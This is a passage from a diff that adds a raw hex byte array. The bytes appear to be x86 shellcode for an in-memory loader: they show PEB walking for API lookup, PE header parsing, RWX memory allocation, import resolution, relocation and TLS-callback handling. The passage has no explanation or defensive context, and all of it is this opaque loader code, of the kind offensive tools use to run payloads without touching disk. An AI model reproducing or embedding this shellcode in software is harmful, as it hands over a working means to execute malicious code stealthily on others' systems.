0x50, 0xff, + 0x53, 0x70, 0x50, 0x8d, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x50, 0xff, + 0x74, 0x24, 0x3c, 0xff, 0x53, 0x60, 0x8b, 0x84, 0x24, 0x80, 0x00, 0x00, + 0x00, 0x40, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x3b, 0x86, 0x04, + 0x08, 0x00, 0x00, 0x72, 0xcb, 0xeb, 0x2c, 0x6a, 0x01, 0x51, 0x6a, 0x08, + 0xff, 0x53, 0x5c, 0x83, 0xa4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x00, 0x89, + 0x44, 0x24, 0x34, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff, 0x53, 0x70, 0x50, + 0x8d, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x50, 0xff, 0x74, 0x24, 0x3c, + 0xff, 0x53, 0x60, 0x83, 0xa4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x00, 0x8d, + 0x44, 0x24, 0x2c, 0x50, 0x8d, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x50, + 0x55, 0xff, 0x53, 0x60, 0x83, 0x64, 0x24, 0x44, 0x00, 0x8d, 0x54, 0x24, + 0x5c, 0x52, 0x33, 0xc0, 0x8d, 0x74, 0x24, 0x40, 0x40, 0x66, 0x89, 0x44, + 0x24, 0x40, 0x8b, 0x07, 0x55, 0x83, 0xec, 0x10, 0x8b, 0xfc, 0x8b, 0x08, + 0x50, 0xa5, 0xa5, 0xa5, 0xa5, 0xff, 0x91, 0x94, 0x00, 0x00, 0x00, 0x85, + 0xed, 0x0f, 0x84, 0x32, 0x01, 0x00, 0x00, 0xff, 0x74, 0x24, 0x34, 0xff, + 0x53, 0x64, 0x55, 0xff, 0x53, 0x64, 0xe9, 0x22, 0x01, 0x00, 0x00, 0x21, + 0x2f, 0xe9, 0x1b, 0x01, 0x00, 0x00, 0x8d, 0x86, 0x04, 0x04, 0x00, 0x00, + 0x50, 0xff, 0x53, 0x70, 0x8b, 0xe8, 0x89, 0x6c, 0x24, 0x18, 0x85, 0xed, + 0x0f, 0x84, 0x06, 0x01, 0x00, 0x00, 0x8d, 0x86, 0x04, 0x06, 0x00, 0x00, + 0x50, 0xff, 0x53, 0x70, 0x89, 0x44, 0x24, 0x1c, 0x85, 0xc0, 0x0f, 0x84, + 0xe9, 0x00, 0x00, 0x00, 0x8b, 0x8c, 0x24, 0x84, 0x00, 0x00, 0x00, 0x8b, + 0x51, 0x14, 0x8d, 0x41, 0x18, 0x50, 0x55, 0x52, 0x8b, 0x0a, 0x89, 0x44, + 0x24, 0x34, 0xff, 0x51, 0x44, 0x8b, 0xf8, 0x85, 0xff, 0x0f, 0x88, 0xbe, + 0x00, 0x00, 0x00, 0x8b, 0x86, 0x04, 0x08, 0x00, 0x00, 0x33, 0xed, 0x85, + 0xc0, 0x74, 0x6e, 0x50, 0x55, 0x6a, 0x0c, 0xff, 0x53, 0x5c, 0x8b, 0xe8, + 0x85, 0xed, 0x74, 0x61, 0x83, 0xa4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x83, 0xbe, 0x04, 0x08, 0x00, 0x00, 0x00, 0x76, 0x50, 0x33, 0xc0, 0xc1, + 0xe0, 0x09, 0x05, 0x08, 0x08, 0x00, 0x00, 0x03, 0xc6, 0x50, 0xff, 0x53, + 0x70, 0x6a, 0x08, 0x89, 0x44, 0x24, 0x58, 0x58, 0x66, 0x89, 0x44, 0x24, + 0x4c, 0x8d, 0x44, 0x24, 0x4c, 0x50, 0x8d, 0x84, 0x24, 0x84, 0x00, 0x00, + 0x00, 0x50, 0x55, 0xff, 0x53, 0x60, 0x8b, 0xf8, 0x85, 0xff, 0x79, 0x06, + 0x55, 0xff, 0x53, 0x64, 0x33, 0xed, 0x8b, 0x84, 0x24, 0x80, 0x00, 0x00, + 0x00, 0x40, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x3b, 0x86, 0x04, + 0x08, 0x00, 0x00, 0x72, 0xb2, 0x85, 0xff, 0x78, 0x3c, 0x8b, 0x44, 0x24, + 0x28, 0x8d, 0x54, 0x24, 0x6c, 0x52, 0x55, 0x83, 0xec, 0x10, 0x8d, 0x74, + 0x24, 0x54, 0x8b, 0x00, 0x8b, 0xfc, 0x6a, 0x00, 0x8b, 0x08, 0xa5, 0x68, + 0x18, 0x01, 0x00, 0x00, 0xa5, 0xa5, 0xa5, 0x8b, 0x74, 0x24, 0x3c, 0x56, + 0x50, 0xff, 0x91, 0xe4, 0x00, 0x00, 0x00, 0x85, 0xed, 0x74, 0x04, 0x55, + 0xff, 0x53, 0x64, 0x8b, 0x6c, 0x24, 0x18, 0xeb, 0x08, 0x8b, 0x6c, 0x24, + 0x18, 0x8b, 0x74, 0x24, 0x1c, 0x56, 0xff, 0x53, 0x74, 0x55, 0xff, 0x53, + 0x74, 0x33, 0xc0, 0x40, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x6c, 0xc3, + 0x81, 0xec, 0xdc, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x48, 0xc7, + 0x44, 0x24, 0x20, 0x31, 0xc0, 0x48, 0x79, 0x53, 0x55, 0x8b, 0xac, 0x24, + 0xe8, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x4c, 0x89, 0x44, 0x24, 0x54, + 0x89, 0x44, 0x24, 0x5c, 0x83, 0xbd, 0x1c, 0x05, 0x00, 0x00, 0x01, 0x89, + 0x44, 0x24, 0x64, 0x89, 0x44, 0x24, 0x6c, 0x89, 0x84, 0x24, 0xa8, 0x00, + 0x00, 0x00, 0x89, 0x84, 0x24, 0xc0, 0x00, 0x00, 0x00, 0x89, 0x84, 0x24, + 0xc8, 0x00, 0x00, 0x00, 0x89, 0x84, 0x24, 0xd0, 0x00, 0x00, 0x00, 0x89, + 0x84, 0x24, 0xd8, 0x00, 0x00, 0x00, 0x8d, 0x85, 0x58, 0x07, 0x00, 0x00, + 0x56, 0x57, 0xc7, 0x44, 0x24, 0x34, 0x1b, 0x8b, 0x44, 0x24, 0xc7, 0x44, + 0x24, 0x38, 0x04, 0x8b, 0x4c, 0x24, 0xc7, 0x44, 0x24, 0x3c, 0x08, 0x8b, + 0x54, 0x24, 0xc7, 0x44, 0x24, 0x40, 0x0c, 0x52, 0x81, 0xc2, 0xc7, 0x44, + 0x24, 0x44, 0x00, 0x02, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x48, 0x83, 0xe9, + 0x01, 0x75, 0xc7, 0x44, 0x24, 0x4c, 0xf4, 0xff, 0xd0, 0xc3, 0xc7, 0x44, + 0x24, 0x50, 0x48, 0x81, 0xec, 0x48, 0xc7, 0x44, 0x24, 0x58, 0x89, 0xac, + 0x24, 0x30, 0xc7, 0x44, 0x24, 0x60, 0x89, 0x9c, 0x24, 0x38, 0xc7, 0x44, + 0x24, 0x68, 0x89, 0xbc, 0x24, 0x20, 0xc7, 0x44, 0x24, 0x70, 0x89, 0xb4, + 0x24, 0x28, 0xc7, 0x44, 0x24, 0x78, 0x89, 0xe6, 0x48, 0x89, 0xc7, 0x44, + 0x24, 0x7c, 0xcf, 0xb8, 0x00, 0x02, 0xc7, 0x84, 0x24, 0x80, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x4c, 0x89, 0xc7, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, + 0xc1, 0x48, 0x8d, 0x14, 0xc7, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x01, + 0x4c, 0x8d, 0x04, 0xc7, 0x84, 0x24, 0x8c, 0x00, 0x00, 0x00, 0x02, 0x4d, + 0x8d, 0x0c, 0xc7, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x00, 0x49, 0x8d, + 0x1c, 0xc7, 0x84, 0x24, 0x94, 0x00, 0x00, 0x00, 0x01, 0x48, 0x89, 0x9c, + 0xc7, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x24, 0x00, 0x01, 0x00, 0xc7, + 0x84, 0x24, 0x9c, 0x00, 0x00, 0x00, 0x00, 0x48, 0x01, 0xc3, 0xc7, 0x84, + 0x24, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x9c, 0x24, 0xc7, 0x84, 0x24, + 0xa4, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0xc7, 0x84, 0x24, 0xa8, + 0x00, 0x00, 0x00, 0x48, 0x01, 0xc3, 0x48, 0xc7, 0x84, 0x24, 0xac, 0x00, + 0x00, 0x00, 0x89, 0x9c, 0x24, 0x10, 0xc7, 0x84, 0x24, 0xb4, 0x00, 0x00, + 0x00, 0x01, 0xc3, 0x48, 0x89, 0xc7, 0x84, 0x24, 0xb8, 0x00, 0x00, 0x00, + 0x9c, 0x24, 0x18, 0x01, 0xc7, 0x84, 0x24, 0xbc, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xff, 0xd7, 0xc7, 0x84, 0x24, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x89, + 0xf4, 0x48, 0xc7, 0x84, 0x24, 0xc4, 0x00, 0x00, 0x00, 0x8b, 0xb4, 0x24, + 0x28, 0xc7, 0x84, 0x24, 0xcc, 0x00, 0x00, 0x00, 0x8b, 0xbc, 0x24, 0x20, + 0xc7, 0x84, 0x24, 0xd4, 0x00, 0x00, 0x00, 0x8b, 0x9c, 0x24, 0x38, 0xc7, + 0x84, 0x24, 0xdc, 0x00, 0x00, 0x00, 0x8b, 0xac, 0x24, 0x30, 0xc7, 0x84, + 0x24, 0xe4, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x48, 0x01, 0xc7, 0x84, 0x24, + 0xe8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc3, 0x00, 0x89, 0x44, 0x24, 0x20, + 0x74, 0x06, 0x8b, 0x00, 0x89, 0x44, 0x24, 0x20, 0x8d, 0x98, 0x18, 0x19, + 0x00, 0x00, 0x33, 0xf6, 0x8b, 0x7b, 0x3c, 0x03, 0xfb, 0x56, 0x89, 0x7c, + 0x24, 0x20, 0xff, 0x55, 0x38, 0x66, 0x8b, 0x4f, 0x04, 0x89, 0x44, 0x24, + 0x2c, 0x8b, 0x50, 0x3c, 0x66, 0x3b, 0x4c, 0x02, 0x04, 0x0f, 0x85, 0x30, + 0x03, 0x00, 0x00, 0x6a, 0x40, 0xb8, 0x00, 0x30, 0x00, 0x00, 0xb9, 0x00, + 0x10, 0x00, 0x00, 0x50, 0x89, 0x44, 0x24, 0x30, 0x8b, 0x47, 0x50, 0x03, + 0xc1, 0x50, 0x56, 0xff, 0x55, 0x3c, 0x8b, 0xf0, 0x85, 0xf6, 0x0f, 0x84, + 0x0b, 0x03, 0x00, 0x00, 0xff, 0x77, 0x54, 0x53, 0x56, 0xe8, 0x88, 0x08, + 0x00, 0x00, 0x0f, 0xb7, 0x47, 0x14, 0x33, 0xc9, 0x83, 0xc4, 0x0c, 0x89, + 0x4c, 0x24, 0x10, 0x83, 0xc0, 0x2c, 0x66, 0x3b, 0x4f, 0x06, 0x73, 0x35, + 0x8d, 0x2c, 0x38, 0xff, 0x75, 0xfc, 0x8b, 0x45, 0x00, 0x03, 0xc3, 0x50, + 0x8b, 0x45, 0xf8, 0x03, 0xc6, 0x50, 0xe8, 0x5b, 0x08, 0x00, 0x00, 0x8b, + 0x4c, 0x24, 0x1c, 0x8d, 0x6d, 0x28, 0x0f, 0xb7, 0x47, 0x06, 0x83, 0xc4, + 0x0c, 0x41, 0x89, 0x4c, 0x24, 0x10, 0x3b, 0xc8, 0x72, 0xd5, 0x8b, 0xac, + 0x24, 0xf0, 0x00, 0x00, 0x00, 0x8b, 0x87, 0x80, 0x00, 0x00, 0x00, 0x85, + 0xc0, 0x74, 0x76, 0x8d, 0x1c, 0x30, 0x8b, 0x43, 0x0c, 0x89, 0x5c, 0x24, + 0x18, 0x85, 0xc0, 0x74, 0x68, 0x03, 0xc6, 0x50, 0xff, 0x55, 0x30, 0x8b, + 0x53, 0x10, 0x89, 0x44, 0x24, 0x14, 0x03, 0xd6, 0x8b, 0x03, 0x03, 0xc6, + 0x89, 0x54, 0x24, 0x24, 0x89, 0x44, 0x24, 0x10, 0x8b, 0x08, 0x85, 0xc9, + 0x74, 0x35, 0x8b, 0x5c, 0x24, 0x14, 0x8b, 0xfa, 0x8b, 0x55, 0x34, 0x85, + 0xc9, 0x79, 0x05, 0x0f, 0xb7, 0xc1, 0xeb, 0x05, 0x8d, 0x46, 0x02, 0x03, + 0xc1, 0x50, 0x53, 0xff, 0xd2, 0x89, 0x07, 0x83, 0xc7, 0x04, 0x8b, 0x44, + 0x24, 0x10, 0x83, 0xc0, 0x04, 0x89, 0x44, 0x24, 0x10, 0x8b, 0x08, 0x85, + 0xc9, 0x75, 0xd5, 0x8b, 0x5c, 0x24, 0x18, 0x8b, 0x43, 0x20, 0x83, 0xc3, + 0x14, 0x89, 0x5c, 0x24, 0x18, 0x85, 0xc0, 0x75, 0x9c, 0x8b, 0x7c, 0x24, + 0x1c, 0x8b, 0x87, 0xe0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x77, 0x8d, + 0x5e, 0x04, 0x03, 0xd8, 0x89, 0x5c, 0x24, 0x10, 0x8b, 0x03, 0x85, 0xc0, + 0x74, 0x68, 0x03, 0xc6, 0x50, 0xff, 0x55, 0x30, 0x8b, 0x53, 0x08, 0x89, + 0x44, 0x24, 0x24, 0x03, 0xd6, 0x8b, 0x43, 0x0c, 0x03, 0xc6, 0x89, 0x54, + 0x24, 0x14, 0x89, 0x44, 0x24, 0x18, 0x8b, 0x08, 0x85, 0xc9, 0x74, 0x35, + 0x8b, 0x5c, 0x24, 0x24, 0x8b, 0xfa, 0x8b, 0x55, 0x34, 0x85, 0xc9, 0x79, + 0x05, 0x0f, 0xb7, 0xc1, 0xeb, 0x05, 0x8d, 0x46, 0x02, 0x03, 0xc1, 0x50, + 0x53, 0xff, 0xd2, 0x89, 0x07, 0x83, 0xc7, 0x04, 0x8b, 0x44, 0x24, 0x18, + 0x83, 0xc0, 0x04, 0x89, 0x44, 0x24, 0x18, 0x8b, 0x08, 0x85, 0xc9, 0x75, + 0xd5, 0x8b, 0x5c, 0x24, 0x10, 0x83, 0xc3, 0x20, 0x89, 0x5c, 0x24, 0x10, + 0x8b, 0x03, 0x85, 0xc0, 0x75, 0x9c, 0x8b, 0x7c, 0x24, 0x1c, 0x8b, 0x87, + 0xa0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x75, 0x8d, 0x1c, 0x30, 0x8b, + 0xc6, 0x2b, 0x47, 0x34, 0x89, 0x44, 0x24, 0x14, 0x33, 0xc0, 0x39, 0x03, + 0x74, 0x63, 0x8d, 0x4b, 0x08, 0xeb, 0x49, 0x0f, 0xb7, 0x01, 0x8b, 0xd0, + 0x25, 0x00, 0xf0, 0x00, 0x00, 0x89, 0x54, 0x24, 0x10, 0x66, 0x3b, 0x44, + 0x24, 0x28, 0x75, 0x23, 0x8b, 0xc2, 0x25, 0xff, 0x0f, 0x00, 0x00, 0x89, + 0x44, 0x24, 0x10, 0x03, 0x03, 0x8b, 0x0c, 0x30, 0x03, 0x4c, 0x24, 0x14, + 0x8b, 0x44, 0x24, 0x10, 0x03, 0x03, 0x89, 0x0c, 0x30, 0x8b, 0x4c, 0x24, + 0x1c, 0xeb, 0x0e, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x66, 0x3b, 0xd0, 0x0f, + 0x83, 0x42, 0x01, 0x00, 0x00, 0x83, 0xc1, 0x02, 0x8b, 0x43, 0x04, 0x03, + 0xc3, 0x89, 0x4c, 0x24, 0x1c, 0x3b, 0xc8, 0x75, 0xaa, 0x33, 0xc0, 0x8b, + 0xd9, 0x39, 0x01, 0x75, 0x9d, 0x8b, 0x9f, 0xc0, 0x00, 0x00, 0x00, 0x85, + 0xdb, 0x74, 0x26, 0x8b, 0x5c, 0x33, 0x0c, 0x85, 0xdb, 0x74, 0x1e, 0x8b, + 0x03, 0x85, 0xc0, 0x74, 0x18, 0x33, 0xed, 0x55, 0x6a, 0x01, 0x56, 0xff, + 0xd0, 0x8d, 0x5b, 0x04, 0x8b, 0x03, 0x85, 0xc0, 0x75, 0xf1, 0x8b, 0xac, + 0x24, 0xf0, 0x00, 0x00, 0x00, 0x8b, 0x5c, 0x24, 0x20, 0x8b, 0x47, 0x28, + 0x03, 0xc6, 0x83, 0x3b, 0x03, 0x0f, 0x85, 0xe6, 0x00, 0x00, 0x00, 0x33, + 0xc9, 0x51, 0x6a, 0x01, 0xff, 0x74, 0x24, 0x34, 0xff, 0xd0, 0x8d, 0x93, + 0x04, 0x06, 0x00, 0x00, 0x33, 0xc0, 0x89, 0x54, 0x24, 0x2c, 0x66, 0x39, + 0x02, 0x0f, 0x84, 0xc8, 0x00, 0x00, 0x00, 0x8b, 0x4f, 0x78, 0x85, 0xc9, + 0x0f, 0x84, 0xbd, 0x00, 0x00, 0x00, 0x8b, 0x7c, 0x31, 0x18, 0x85, 0xff, + 0x0f, 0x84, 0xb1, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x31, 0x1c, 0x8d, 0x5f, + 0xff, 0x03, 0xc6, 0x89, 0x44, 0x24, 0x14, 0x8b, 0x44, 0x31, 0x20, 0x8b, + 0x4c, 0x31, 0x24, 0x03, 0xc6, 0x03, 0xce, 0x89, 0x4c, 0x24, 0x28, 0x8d, + 0x1c, 0x98, 0x8b, 0x03, 0x52, 0x03, 0xc6, 0x50, 0xe8, 0xc6, 0x03, 0x00, + 0x00, 0x59, 0x59, 0x85, 0xc0, 0x74, 0x0e, 0x83, 0xeb, 0x04, 0x83, 0xef, + 0x01, 0x74, 0x78, 0x8b, 0x54, 0x24, 0x2c, 0xeb, 0xe1, 0x8b, 0x44, 0x24, + 0x28, 0x8b, 0x5c, 0x24, 0x14, 0x0f, 0xb7, 0x44, 0x78, 0xfe, 0x8b, 0x1c, + 0x83, 0x03, 0xde, 0x74, 0x5e, 0x6a, 0x40, 0xb8, 0x00, 0x30, 0x00, 0x00, + 0x50, 0x68, 0xbc, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x50, 0xff, 0x55, 0x3c, + 0x8b, 0xf8, 0x85, 0xff, 0x74, 0x45, 0x68, 0xbc, 0x00, 0x00, 0x00, 0x8d, + 0x44, 0x24, 0x34, 0x50, 0x57, 0xe8, 0xc8, 0x05, 0x00, 0x00, 0x8b, 0x4c, + 0x24, 0x2c, 0x8d, 0x81, 0x08, 0x08, 0x00, 0x00, 0x50, 0xff, 0xb1, 0x04, + 0x08, 0x00, 0x00, 0x53, 0xff, 0xd7, 0x68, 0xbc, 0x00, 0x00, 0x00, 0x33, + 0xc0, 0x50, 0x57, 0xe8, 0xca, 0x05, 0x00, 0x00, 0x83, 0xc4, 0x24, 0x33, + 0xc0, 0x68, 0x00, 0xc0, 0x00, 0x00, 0x50, 0x57, 0xff, 0x55, 0x40, 0xeb, + 0x02, 0xff, 0xd0, 0x68, 0x00, 0xc0, 0x00, 0x00, 0x33, 0xd2, 0x52, 0x56, + 0xff, 0x55, 0x40, 0x5f, 0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0xdc, 0x00, 0x00, + 0x00, 0xc3, 0x81, 0xec, 0xf0, 0x00, 0x00, 0x00, 0x53, 0x8b, 0x9c, 0x24, + 0xf8, 0x00, 0x00, 0x00, 0x55, 0x56, 0x57, 0x83, 0xbb, 0x1c, 0x05, 0x00, + 0x00, 0x01, 0x8d, 0xb3, 0x58, 0x07, 0x00, 0x00, 0x74, 0x02, 0x8b, 0x36, + 0x8b, 0x83, 0x50, 0x07, 0x00, 0x00, 0x33, 0xff, 0x6a, 0x04, 0x68, 0x00, + 0x30, 0x00, 0x00, 0x8d, 0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 0x50, 0x57, + 0xff, 0x53, 0x3c, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0x51, 0x01, 0x00, + 0x00, 0x8b, 0x8e, 0x10, 0x19, 0x00, 0x00, 0x03, 0xc9, 0x51, 0x55, 0x6a, + 0xff, 0x8d, 0x8e, 0x18, 0x19, 0x00, 0x00, 0x51, 0x57, 0x57, 0xff, 0x53, + 0x50, 0x8d, 0x44, 0x24, 0x5c, 0x89, 0x44, 0x24, 0x18, 0x8d, 0x44, 0x24, + 0x18, 0x50, 0x53, 0xe8, 0xab, 0xe9, 0xff, 0xff, 0x8d, 0x44, 0x24, 0x50, + 0x89, 0x44, 0x24, 0x28, 0x8d, 0x44, 0x24, 0x28, 0x50, 0x53, 0xe8, 0x4e, + 0xe8, 0xff, 0xff, 0x8d, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x89, 0x44, + 0x24, 0x3c, 0x8d, 0x44, 0x24, 0x3c, 0x50, 0x53, 0xe8, 0x39, 0xf2, 0xff, + 0xff, 0x83, 0xc4, 0x18, 0x57, 0x57, 0xff, 0x93, 0xa8, 0x00, 0x00, 0x00, + 0x85, 0xc0, 0x0f, 0x85, 0xc8, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x10, + 0x50, 0x8d, 0x83, 0x9c, 0x04, 0x00, 0x00, 0x50, 0x6a, 0x03, 0x57, 0x8d, + 0x83, 0x7c, 0x04, 0x00, 0x00, 0x50, 0xff, 0x93, 0xac, 0x00, 0x00, 0x00, + 0x85, 0xc0, 0x0f, 0x85, 0xa4, 0x00, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x10, + 0x8d, 0x44, 0x24, 0x14, 0x50, 0x8d, 0x83, 0xcc, 0x04, 0x00, 0x00, 0x50, + 0x8b, 0x11, 0x51, 0xff, 0x12, 0x85, 0xc0, 0x75, 0x77, 0x8b, 0x44, 0x24, + 0x14, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x0c, 0x85, 0xc0, 0x75, 0x5f, 0x8b, + 0x4c, 0x24, 0x10, 0x8d, 0x54, 0x24, 0x18, 0x89, 0x4c, 0x24, 0x38, 0x52, + 0x51, 0x8b, 0x01, 0xff, 0x50, 0x0c, 0x85, 0xc0, 0x75, 0x48, 0x8d, 0x83, + 0xcc, 0x03, 0x00, 0x00, 0x50, 0xff, 0x53, 0x70, 0x8b, 0x4c, 0x24, 0x10, + 0x8b, 0xf8, 0x6a, 0x02, 0x57, 0x51, 0x8b, 0x11, 0xff, 0x52, 0x20, 0x57, + 0x8b, 0xf0, 0xff, 0x53, 0x74, 0x33, 0xff, 0x85, 0xf6, 0x75, 0x23, 0x8b, + 0x44, 0x24, 0x14, 0x57, 0x57, 0x57, 0x8b, 0x08, 0x57, 0x57, 0x57, 0x57, + 0x57, 0x55, 0x50, 0xff, 0x51, 0x14, 0x85, 0xc0, 0x75, 0x0c, 0x8b, 0x44, + 0x24, 0x10, 0x6a, 0x02, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x14, 0x8b, 0x44, + 0x24, 0x14, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x8b, 0x44, 0x24, 0x10, + 0x50, 0x8b, 0x08, 0xff, 0x51, 0x1c, 0x8b, 0x44, 0x24, 0x10, 0x50, 0x8b, + 0x08, 0xff, 0x51, 0x08, 0x8b, 0x83, 0x50, 0x07, 0x00, 0x00, 0x8d, 0x04, + 0x45, 0x02, 0x00, 0x00, 0x00, 0x50, 0x57, 0x55, 0xe8, 0x15, 0x04, 0x00, + 0x00, 0x83, 0xc4, 0x0c, 0x68, 0x00, 0xc0, 0x00, 0x00, 0x57, 0x55, 0xff, + 0x53, 0x40, 0x5f, 0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00, + 0xc3, 0x83, 0xec, 0x0c, 0x53, 0x55, 0x56, 0x8b, 0x74, 0x24, 0x1c, 0x57, + 0x83, 0xbe, 0x1c, 0x05, 0x00, 0x00, 0x01, 0x8d, 0xbe, 0x58, 0x07, 0x00, + 0x00, 0x74, 0x02, 0x8b, 0x3f, 0x8b, 0x86, 0x50, 0x07, 0x00, 0x00, 0x33, + 0xed, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x8d, 0x04, 0x45, 0x02, + 0x00, 0x00, 0x00, 0x50, 0x55, 0xff, 0x56, 0x3c, 0x8b, 0xd8, 0x85, 0xdb, + 0x0f, 0x84, 0xd1, 0x00, 0x00, 0x00, 0x8b, 0x8f, 0x10, 0x19, 0x00, 0x00, + 0x03, 0xc9, 0x51, 0x53, 0x6a, 0xff, 0x8d, 0x8f, 0x18, 0x19, 0x00, 0x00, + 0x51, 0x55, 0x55, 0xff, 0x56, 0x50, 0x55, 0x55, 0xff, 0x96, 0xa8, 0x00, + 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x87, 0x00, 0x00, 0x00, 0x8d, 0x44, + 0x24, 0x10, 0x50, 0x8d, 0x86, 0xfc, 0x04, 0x00, 0x00, 0x50, 0x6a, 0x01, + 0x55, 0x8d, 0x86, 0xec, 0x04, 0x00, 0x00, 0x50, 0xff, 0x96, 0xac, 0x00, + 0x00, 0x00, 0x85, 0xc0, 0x75, 0x61, 0x8b, 0x44, 0x24, 0x10, 0x8d, 0x54, + 0x24, 0x20, 0x52, 0x53, 0x50, 0x8b, 0x08, 0xff, 0x91, 0x04, 0x01, 0x00, + 0x00, 0x85, 0xc0, 0x75, 0x40, 0x66, 0x39, 0x6c, 0x24, 0x20, 0x74, 0x39, + 0x8b, 0x4c, 0x24, 0x10, 0x8d, 0x44, 0x24, 0x14, 0x50, 0x8d, 0x86, 0x0c, + 0x05, 0x00, 0x00, 0x50, 0x8b, 0x11, 0x51, 0xff, 0x12, 0x85, 0xc0, 0x75, + 0x20, 0x8b, 0x44, 0x24, 0x10, 0x8d, 0x54, 0x24, 0x18, 0x52, 0xff, 0x74, + 0x24, 0x18, 0x8b, 0x08, 0x50, 0xff, 0x91, 0x8c, 0x00, 0x00, 0x00, 0x8b, + 0x44, 0x24, 0x14, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x8b, 0x44, 0x24, + 0x10, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0xff, 0x96, 0xb0, 0x00, 0x00, + 0x00, 0x8b, 0x86, 0x50, 0x07, 0x00, 0x00, 0x8d, 0x04, 0x45, 0x02, 0x00, + 0x00, 0x00, 0x50, 0x55, 0x53, 0xe8, 0xf8, 0x02, 0x00, 0x00, 0x83, 0xc4, + 0x0c, 0x68, 0x00, 0xc0, 0x00, 0x00, 0x55, 0x53, 0xff, 0x56, 0x40, 0x5f, + 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x0c, 0xc3, 0x8b, 0x44, 0x24, 0x0c, 0xc7, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc2, 0x10, 0x00, 0x8b, 0x44, + 0x24, 0x04, 0x2b, 0x44, 0x24, 0x08, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x99, + 0xf7, 0x7c, 0x24, 0x08, 0xc3, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x83, + 0xe8, 0x05, 0xc3, 0x55, 0x8b, 0xec, 0x64, 0xa1, 0x30, 0x00, 0x00, 0x00, + 0x33, 0xc9, 0x56, 0x8b, 0x40, 0x0c, 0x8b, 0x70, 0x0c, 0xeb, 0x20, 0x85, + 0xc9, 0x75, 0x23, 0xff, 0x75, 0x18, 0xff, 0x75, 0x14, 0xff, 0x75, 0x10, + 0xff, 0x75, 0x0c, 0x50, 0xff, 0x75, 0x08, 0xe8, 0xd3, 0xec, 0xff, 0xff, + 0x8b, 0x36, 0x83, 0xc4, 0x18, 0x8b, 0xc8, 0x8b, 0x46, 0x18, 0x85, 0xc0, + 0x75, 0xd9, 0x8b, 0xc1, 0x5e, 0x5d, 0xc3, 0x8b, 0x44, 0x24, 0x08, 0x56, + 0x8b, 0x74, 0x24, 0x08, 0x8a, 0x16, 0x84, 0xd2, 0x74, 0x14, 0x8a, 0xca, + 0x2b, 0xf0, 0x8a, 0xd1, 0x3a, 0x08, 0x75, 0x0a, 0x40, 0x8a, 0x0c, 0x06, + 0x8a, 0xd1, 0x84, 0xc9, 0x75, 0xf0, 0x0f, 0xb6, 0x08, 0x0f, 0xb6, 0xc2, + 0x2b, 0xc1, 0x5e, 0xc3, 0x83, 0xec, 0x14, 0x53, 0x8b, 0x5c, 0x24, 0x20, + 0x33, 0xc0, 0x55, 0x8b, 0x6c, 0x24, 0x28, 0x56, 0x57, 0x33, 0xff, 0x89, + 0x44, 0x24, 0x2c, 0x33, 0xf6, 0x89, 0x74, 0x24, 0x10, 0x8b, 0x4c, 0x24, + 0x28, 0x8a, 0x0c, 0x08, 0x84, 0xc9, 0x74, 0x11, 0x83, 0xf8, 0x40, 0x74, + 0x0c, 0x88, 0x4c, 0x3c, 0x14, 0x47, 0x40, 0x89, 0x44, 0x24, 0x2c, 0xeb, + 0x57, 0x6a, 0x10, 0x58, 0x2b, 0xc7, 0x8d, 0x74, 0x24, 0x14, 0x50, 0x03, + 0xf7, 0x6a, 0x00, 0x56, 0xe8, 0xfd, 0x01, 0x00, 0x00, 0x83, 0xc4, 0x0c, + 0xc6, 0x06, 0x80, 0x83, 0xff, 0x0c, 0x72, 0x21, 0x55, 0x8d, 0x44, 0x24, + 0x18, 0x53, 0x50, 0xe8, 0x5e, 0x00, 0x00, 0x00, 0x6a, 0x10, 0x33, 0xd8, + 0x33, 0xea, 0x8d, 0x44, 0x24, 0x24, 0x6a, 0x00, 0x50, 0xe8, 0xd4, 0x01, + 0x00, 0x00, 0x83, 